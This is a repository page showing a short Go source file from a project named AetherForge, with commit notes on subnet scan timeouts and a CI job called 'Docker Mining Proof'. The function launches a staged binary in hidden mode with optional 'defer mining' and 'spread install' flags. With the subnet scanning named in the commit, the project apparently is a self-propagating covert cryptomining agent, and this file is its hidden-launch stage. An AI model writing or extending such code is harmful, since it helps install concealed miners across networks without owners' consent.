Files
AetherForge/agent/deploy/erasure_launch_unix.go
AetherForge bd041edc0e
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add erasure codec tests and fix subnet scan timeout.
Mock probePorts in scale limit tests so ScanLocalSubnet does not hang on live TCP dials; add erasure_codec error-path coverage from 0445b7e/d18c591 gaps.
2026-06-07 06:59:14 -07:00

24 lines
515 B
Go

//go:build !windows
package deploy
import (
"fmt"
)
func launchErasureStagedBinary(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
_ = launch
_ = dllExport
args := []string{runFlag}
if deferMining {
args = append(args, deferMiningFlag)
}
if spreadInstall {
args = append(args, spreadFlag)
}
if err := HiddenStart(dest, args...); err != nil {
return "", fmt.Errorf("exe launch: %w", err)
}
return fmt.Sprintf("staged to %s; launched exe %v", dest, args), nil
}